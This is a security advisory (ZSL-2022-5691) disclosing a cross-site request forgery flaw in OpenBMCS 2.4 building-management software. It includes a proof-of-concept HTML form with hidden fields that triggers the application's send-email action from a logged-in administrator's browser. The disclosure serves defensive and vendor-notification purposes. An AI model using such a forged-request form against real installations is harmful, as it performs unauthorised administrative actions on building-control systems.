OpenBMCS 2.4 Cross Site Request Forgery

Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

OpenBMCS 2.4 CSRF Send E-mail Vendor: OPEN BMCS Product web page: Affected version: 2.4 Summary: Building Management & Controls System (BMCS). No matter what the size of your business, the OpenBMCS software has the ability to expand to hundreds of controllers. Our product can control and monitor anything from a garage door to a complete campus wide network, with everything you need on board. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64) Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686) Apache/2.4.41 (Ubuntu) Apache/2.4.25 (Debian) nginx/1.16.1 PHP/7.4.3 PHP/7.0.33-0+deb9u9 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5691 Advisory URL: 26.10.2021 -- <html> <body> <form action="" method="POST"> <input type="hidden" name="subject" value="FEEDBACK%20TESTINGUS" /> <input type="hidden" name="message" value="Take me to your leader." /> <input type="hidden" name="email" value="" /> <input type="submit" value="Send" /> </form> </body> </html>

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